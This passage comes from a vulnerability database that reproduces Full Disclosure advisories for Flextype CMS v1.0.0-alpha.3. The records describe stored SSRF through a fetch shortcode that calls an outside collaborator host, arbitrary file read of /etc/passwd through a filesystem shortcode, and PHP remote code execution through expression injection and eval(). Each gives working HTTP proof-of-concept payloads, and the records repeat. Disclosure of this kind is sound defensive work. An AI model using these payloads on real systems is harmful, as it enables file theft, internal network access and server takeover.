"body": "<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"
}
The entry was subsequently retrieved:
GET /api/v1/entries?token=lab-token&id=shortcode-ssrf-proof HTTP/1.1
Host: 127.0.0.1:18086
The resulting entry again contained the response obtained from the
attacker-controlled destination.
This demonstrates that the server-side request originates from stored
shortcode content and can be triggered during subsequent entry processing.
Root Cause
The vulnerability occurs because remotely controllable stored entry data is
processed as shortcode syntax and FetchShortcode permits the shortcode to
select a server-side network destination.
The resulting resource is passed directly to:
$result = fetch($resource, $options);
without sufficient restrictions preventing requests to attacker-controlled
or security-sensitive destinations.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored server-side request forgery\n(SSRF) vulnerability in its shortcode-processing functionality.\n\nAttacker-controlled entry fields can be automatically processed by\nFlextype\u0027s shortcode parser. The built-in fetch shortcode accepts an\nattacker-controlled resource and passes the resulting value to the\nserver-side fetch() helper without sufficient destination restrictions.\n\nAn attacker capable of creating or modifying an entry can therefore persist\na fetch shortcode that causes Flextype to initiate an HTTP request from the\nserver when the entry is processed.\n\nTesting confirmed that an attacker-controlled external destination was\ncontacted and that the destination\u0027s HTTP response was returned through the\nprocessed entry. Subsequent normal retrieval of the stored entry caused the\nserver-side request to occur again.\nImpact\n\nAn attacker can persist server-side HTTP requests that are executed from\nthe network context of the Flextype server.\n\nDepending on network configuration, this may provide access to HTTP\nservices that are inaccessible from the attacker\u0027s network position,\nincluding loopback and internal network resources.\n\nBecause the destination response is returned through the processed entry,\nthe vulnerability provides non-blind SSRF.\n\nThis vulnerability is distinct from SSRF through /api/v1/query because the\naffected execution path uses stored entry content processed through\nShortcodesDirective and FetchShortcode, rather than direct expression\nevaluation through the Query API.\nDetailsAttacker-Controlled Fetch Resource\n\nFetchShortcode.php obtains the resource from shortcode parameters:\n\n// Get the resource parameter.\n$resource = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027resource\u0027]);\n\nThe resulting attacker-controlled resource is supplied to the server-side\nfetch helper:\n\n// Do fetch the data from the resource.\n$result = fetch($resource, $options);\n\nProof of Concept\n\nAn entry containing an attacker-controlled fetch shortcode was created:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-ssrf-proof\",\"data\":{\"title\":\"(fetch:\u0027http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com\u0026apos;)\"}}\n\nFlextype returned the destination\u0027s HTTP response:\n\n{\n \"reasonPhrase\": \"OK\",\n \"statusCode\": 200,\n \"headers\": {\n \"Server\": [\n \"Burp Collaborator https://burpcollaborator.net/\";\n ],\n \"X-Collaborator-Version\": [\n \"4\"\n ],\n \"Content-Type\": [\n \"text/html\"\n ],\n \"Content-Length\": [\n \"55\"\n ]\n },\n \"body\": \"\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"\n}\n\nThe entry was subsequently retrieved:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-ssrf-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe resulting entry again contained the response obtained from the\nattacker-controlled destination.\n\nThis demonstrates that the server-side request originates from stored\nshortcode content and can be triggered during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because remotely controllable stored entry data is\nprocessed as shortcode syntax and FetchShortcode permits the shortcode to\nselect a server-side network destination.\n\nThe resulting resource is passed directly to:\n\n$result = fetch($resource, $options);\n\nwithout sufficient restrictions preventing requests to attacker-controlled\nor security-sensitive destinations.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:01Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/26"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/26"
},
{
"url": "http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com\u0026apos"
},
{
"url": "https://burpcollaborator.net/\""
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/26"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0014",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/26",
"automated": true,
"contentSha256": "ccf71ea3f6c1e7df21bd9dc161b5f43050d8c82c18c42166541c10bb8904b66b",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/26",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:57:01Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:04:01Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0014"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0183
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability
in its stored shortcode processing functionality. Attacker-controlled entry
fields are automatically processed by the shortcode parser when global
shortcode processing is enabled.
The built-in filesystem shortcode accepts a file path and returns the
contents of the specified file without restricting the path to an approved
application directory.
An attacker capable of storing shortcode syntax within an entry can
therefore cause Flextype to read arbitrary files accessible to the PHP
process.
Testing confirmed exploitation by storing a filesystem shortcode
referencing /etc/passwd. Flextype returned the contents of /etc/passwd
while processing the entry and returned the file contents again during
subsequent normal retrieval of the stored entry.
Impact
An attacker can retrieve arbitrary files readable by the Flextype PHP
process.
Potentially exposed information includes application configuration,
credentials, API keys, database connection information, source code,
operating-system files, and other application secrets.
Unlike the previously identified ExpressionsDirective file-read
vulnerability, this vulnerability reaches filesystem functionality through
Flextype's shortcode parser and FilesystemShortcode implementation.
DetailsAutomatic Shortcode Processing
Entry fields are passed to the shortcode parser:
if (is_string($field['value'])) {
if (strings($field['value'])->contains('@shortcodes')) {
$field['value'] = strings(
parsers()->shortcodes()->parse($field['value'])
)->replace('@shortcodes', '')->trim()->toString();
} elseif (
registry()->get(
'flextype.settings.entries.directives.shortcodes.enabled_globally'
)
) {
$field['value'] = parsers()->shortcodes()->parse($field['value']);
}
}
Filesystem Shortcode
The filesystem shortcode accepts the supplied file parameter and returns
its contents:
if (
collection(array_keys($params))
->filter(static fn ($v) => $v === 'get')
->count() > 0 &&
isset($params['file']) &&
registry()->get(
'flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled'
) === true
) {
$file = parsers()->shortcodes()->parse($params['file']);
return filesystem()->file($file)->exists()
? filesystem()->file($file)->get()
: '';
}
No filesystem containment restriction is applied to $file before it is read.
Proof of Concept
The following entry contains a filesystem shortcode targeting /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"shortcode-file-proof","data":{"title":"(filesystem
get file:'/etc/passwd')"}}
Flextype returned the contents of /etc/passwd within the processed title:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
The stored entry was subsequently requested normally:
GET /api/v1/entries?token=lab-token&id=shortcode-file-proof HTTP/1.1
Host: 127.0.0.1:18086
The response again contained /etc/passwd, demonstrating stored arbitrary
file read during normal entry processing.
Root Cause
The vulnerability occurs because attacker-controllable stored entry content
is interpreted by the shortcode parser and the filesystem shortcode accepts
unrestricted filesystem paths.
The affected code ultimately performs:
filesystem()->file($file)->get()
without verifying that the canonicalized path resides within an explicitly
permitted directory.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0183 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability\nin its stored shortcode processing functionality. Attacker-controlled entry\nfields are automatically processed by the shortcode parser when global\nshortcode processing is enabled.\n\nThe built-in filesystem shortcode accepts a file path and returns the\ncontents of the specified file without restricting the path to an approved\napplication directory.\n\nAn attacker capable of storing shortcode syntax within an entry can\ntherefore cause Flextype to read arbitrary files accessible to the PHP\nprocess.\n\nTesting confirmed exploitation by storing a filesystem shortcode\nreferencing /etc/passwd. Flextype returned the contents of /etc/passwd\nwhile processing the entry and returned the file contents again during\nsubsequent normal retrieval of the stored entry.\nImpact\n\nAn attacker can retrieve arbitrary files readable by the Flextype PHP\nprocess.\n\nPotentially exposed information includes application configuration,\ncredentials, API keys, database connection information, source code,\noperating-system files, and other application secrets.\n\nUnlike the previously identified ExpressionsDirective file-read\nvulnerability, this vulnerability reaches filesystem functionality through\nFlextype\u0027s shortcode parser and FilesystemShortcode implementation.\nDetailsAutomatic Shortcode Processing\n\nEntry fields are passed to the shortcode parser:\n\nif (is_string($field[\u0027value\u0027])) {\n if (strings($field[\u0027value\u0027])-\u003econtains(\u0027@shortcodes\u0027)) {\n $field[\u0027value\u0027] = strings(\n parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027])\n )-\u003ereplace(\u0027@shortcodes\u0027, \u0027\u0027)-\u003etrim()-\u003etoString();\n } elseif (\n registry()-\u003eget(\n \u0027flextype.settings.entries.directives.shortcodes.enabled_globally\u0027\n )\n ) {\n $field[\u0027value\u0027] = parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027]);\n }\n}\n\nFilesystem Shortcode\n\nThe filesystem shortcode accepts the supplied file parameter and returns\nits contents:\n\nif (\n collection(array_keys($params))\n -\u003efilter(static fn ($v) =\u003e $v === \u0027get\u0027)\n -\u003ecount() \u003e 0 \u0026\u0026\n isset($params[\u0027file\u0027]) \u0026\u0026\n registry()-\u003eget(\n \u0027flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled\u0027\n ) === true\n) {\n $file = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027file\u0027]);\n\n return filesystem()-\u003efile($file)-\u003eexists()\n ? filesystem()-\u003efile($file)-\u003eget()\n : \u0027\u0027;\n}\n\nNo filesystem containment restriction is applied to $file before it is read.\nProof of Concept\n\nThe following entry contains a filesystem shortcode targeting /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-file-proof\",\"data\":{\"title\":\"(filesystem\nget file:\u0027/etc/passwd\u0027)\"}}\n\nFlextype returned the contents of /etc/passwd within the processed title:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n...\n\nThe stored entry was subsequently requested normally:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-file-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained /etc/passwd, demonstrating stored arbitrary\nfile read during normal entry processing.\nRoot Cause\n\nThe vulnerability occurs because attacker-controllable stored entry content\nis interpreted by the shortcode parser and the filesystem shortcode accepts\nunrestricted filesystem paths.\n\nThe affected code ultimately performs:\n\nfilesystem()-\u003efile($file)-\u003eget()\n\nwithout verifying that the canonicalized path resides within an explicitly\npermitted directory.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:00Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/25"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/25"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0183",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25",
"automated": true,
"contentSha256": "6da4feb6987b16ed1a92eadb657c75eff8bbee93f9836ea2c7b16b2601f3c50a",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:55:45Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0183"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:04:00Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0183"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0013
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability
in its stored shortcode processing functionality. Attacker-controlled entry
fields are automatically processed by the shortcode parser when global
shortcode processing is enabled.
The built-in filesystem shortcode accepts a file path and returns the
contents of the specified file without restricting the path to an approved
application directory.
An attacker capable of storing shortcode syntax within an entry can
therefore cause Flextype to read arbitrary files accessible to the PHP
process.
Testing confirmed exploitation by storing a filesystem shortcode
referencing /etc/passwd. Flextype returned the contents of /etc/passwd
while processing the entry and returned the file contents again during
subsequent normal retrieval of the stored entry.
Impact
An attacker can retrieve arbitrary files readable by the Flextype PHP
process.
Potentially exposed information includes application configuration,
credentials, API keys, database connection information, source code,
operating-system files, and other application secrets.
Unlike the previously identified ExpressionsDirective file-read
vulnerability, this vulnerability reaches filesystem functionality through
Flextype's shortcode parser and FilesystemShortcode implementation.
DetailsAutomatic Shortcode Processing
Entry fields are passed to the shortcode parser:
if (is_string($field['value'])) {
if (strings($field['value'])->contains('@shortcodes')) {
$field['value'] = strings(
parsers()->shortcodes()->parse($field['value'])
)->replace('@shortcodes', '')->trim()->toString();
} elseif (
registry()->get(
'flextype.settings.entries.directives.shortcodes.enabled_globally'
)
) {
$field['value'] = parsers()->shortcodes()->parse($field['value']);
}
}
Filesystem Shortcode
The filesystem shortcode accepts the supplied file parameter and returns
its contents:
if (
collection(array_keys($params))
->filter(static fn ($v) => $v === 'get')
->count() > 0 &&
isset($params['file']) &&
registry()->get(
'flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled'
) === true
) {
$file = parsers()->shortcodes()->parse($params['file']);
return filesystem()->file($file)->exists()
? filesystem()->file($file)->get()
: '';
}
No filesystem containment restriction is applied to $file before it is read.
Proof of Concept
The following entry contains a filesystem shortcode targeting /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"shortcode-file-proof","data":{"title":"(filesystem
get file:'/etc/passwd')"}}
Flextype returned the contents of /etc/passwd within the processed title:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
The stored entry was subsequently requested normally:
GET /api/v1/entries?token=lab-token&id=shortcode-file-proof HTTP/1.1
Host: 127.0.0.1:18086
The response again contained /etc/passwd, demonstrating stored arbitrary
file read during normal entry processing.
Root Cause
The vulnerability occurs because attacker-controllable stored entry content
is interpreted by the shortcode parser and the filesystem shortcode accepts
unrestricted filesystem paths.
The affected code ultimately performs:
filesystem()->file($file)->get()
without verifying that the canonicalized path resides within an explicitly
permitted directory.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability\nin its stored shortcode processing functionality. Attacker-controlled entry\nfields are automatically processed by the shortcode parser when global\nshortcode processing is enabled.\n\nThe built-in filesystem shortcode accepts a file path and returns the\ncontents of the specified file without restricting the path to an approved\napplication directory.\n\nAn attacker capable of storing shortcode syntax within an entry can\ntherefore cause Flextype to read arbitrary files accessible to the PHP\nprocess.\n\nTesting confirmed exploitation by storing a filesystem shortcode\nreferencing /etc/passwd. Flextype returned the contents of /etc/passwd\nwhile processing the entry and returned the file contents again during\nsubsequent normal retrieval of the stored entry.\nImpact\n\nAn attacker can retrieve arbitrary files readable by the Flextype PHP\nprocess.\n\nPotentially exposed information includes application configuration,\ncredentials, API keys, database connection information, source code,\noperating-system files, and other application secrets.\n\nUnlike the previously identified ExpressionsDirective file-read\nvulnerability, this vulnerability reaches filesystem functionality through\nFlextype\u0027s shortcode parser and FilesystemShortcode implementation.\nDetailsAutomatic Shortcode Processing\n\nEntry fields are passed to the shortcode parser:\n\nif (is_string($field[\u0027value\u0027])) {\n if (strings($field[\u0027value\u0027])-\u003econtains(\u0027@shortcodes\u0027)) {\n $field[\u0027value\u0027] = strings(\n parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027])\n )-\u003ereplace(\u0027@shortcodes\u0027, \u0027\u0027)-\u003etrim()-\u003etoString();\n } elseif (\n registry()-\u003eget(\n \u0027flextype.settings.entries.directives.shortcodes.enabled_globally\u0027\n )\n ) {\n $field[\u0027value\u0027] = parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027]);\n }\n}\n\nFilesystem Shortcode\n\nThe filesystem shortcode accepts the supplied file parameter and returns\nits contents:\n\nif (\n collection(array_keys($params))\n -\u003efilter(static fn ($v) =\u003e $v === \u0027get\u0027)\n -\u003ecount() \u003e 0 \u0026\u0026\n isset($params[\u0027file\u0027]) \u0026\u0026\n registry()-\u003eget(\n \u0027flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled\u0027\n ) === true\n) {\n $file = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027file\u0027]);\n\n return filesystem()-\u003efile($file)-\u003eexists()\n ? filesystem()-\u003efile($file)-\u003eget()\n : \u0027\u0027;\n}\n\nNo filesystem containment restriction is applied to $file before it is read.\nProof of Concept\n\nThe following entry contains a filesystem shortcode targeting /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-file-proof\",\"data\":{\"title\":\"(filesystem\nget file:\u0027/etc/passwd\u0027)\"}}\n\nFlextype returned the contents of /etc/passwd within the processed title:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n...\n\nThe stored entry was subsequently requested normally:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-file-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained /etc/passwd, demonstrating stored arbitrary\nfile read during normal entry processing.\nRoot Cause\n\nThe vulnerability occurs because attacker-controllable stored entry content\nis interpreted by the shortcode parser and the filesystem shortcode accepts\nunrestricted filesystem paths.\n\nThe affected code ultimately performs:\n\nfilesystem()-\u003efile($file)-\u003eget()\n\nwithout verifying that the canonicalized path resides within an explicitly\npermitted directory.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:00Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/25"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/25"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0013",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25",
"automated": true,
"contentSha256": "6da4feb6987b16ed1a92eadb657c75eff8bbee93f9836ea2c7b16b2601f3c50a",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:55:45Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:04:00Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0013"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0182
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability
caused by the interaction between globally processed entry expressions, the
mutable registry object exposed to expressions, and the PHP entry directive.
Attacker-controlled entry fields are automatically processed as expressions
during entry retrieval. The expression environment exposes the
application's mutable registry() object, allowing an expression to modify
Flextype runtime configuration.
An attacker can use a stored expression to enable the PHP entry directive
and place an @php directive within the same stored field. Subsequent
directive processing reaches PHP eval(), resulting in execution of
attacker-controlled PHP code within the Flextype process.
Testing confirmed execution by returning the server's PHP version as
STORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to
execute again, demonstrating persistent server-side code execution.
Impact
An attacker capable of creating or modifying affected entry fields can
execute arbitrary PHP code within the security context of the Flextype
application.
This may allow complete compromise of application confidentiality,
integrity, and availability, subject to the operating-system permissions
assigned to the PHP process.
Because the malicious directive is stored within entry content, execution
can occur again when the affected entry is subsequently processed.
DetailsMutable Registry Exposed to Expressions
Flextype exposes the application registry to the expression environment:
return [
new ExpressionFunction(
'registry',
static fn () => '\Flextype\registry()',
static fn ($arguments) => registry()
)
];
This returns the mutable application registry rather than a restricted
read-only representation.
PHP Directive
The PHP directive first determines whether PHP processing is enabled:
if (! registry()->get('flextype.settings.entries.directives.php.enabled')) {
return;
}
When enabled, entry content containing @php reaches eval():
if (strings($field['value'])->contains('@php')) {
ob_start();
eval(
strings($field['value'])
->replace('@php', '')
->trim()
->toString()
);
$field['value'] = ob_get_clean();
}
Proof of Concept
The following stored entry value first enables the PHP directive through an
expression and then supplies PHP code:
[% registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;
It was submitted through the Entries API:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"stored-rce-proof","data":{"title":"[%
registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;"}}
Flextype returned:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
{"title":"STORED_RCE_8.1.34","published_by":"","created_by":"","uuid":"11eef64f-890a-40ef-8711-b57937677c82","content":"","slug":"stored-rce-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"stored-rce-proof"}
The value:
STORED_RCE_8.1.34
demonstrates execution of the attacker-supplied PHP expression and access
to the runtime PHP_VERSION constant.
Persistent Execution
The stored entry was subsequently retrieved using a normal entry request:
GET /api/v1/entries?token=lab-token&id=stored-rce-proof HTTP/1.1
Host: 127.0.0.1:18086
The response again contained:
STORED_RCE_8.1.34
demonstrating that execution is associated with stored entry processing
rather than requiring the complete PHP payload to be supplied during the
triggering GET request.
Root Cause
The vulnerability results from the interaction of three unsafe trust
decisions:
1. Attacker-controllable stored entry fields are interpreted as
executable expressions.
2. Expressions have access to the mutable application registry.
3. The PHP directive executes processed entry content using eval().
This permits stored data to modify the security setting intended to disable
PHP processing before the PHP directive processes the same
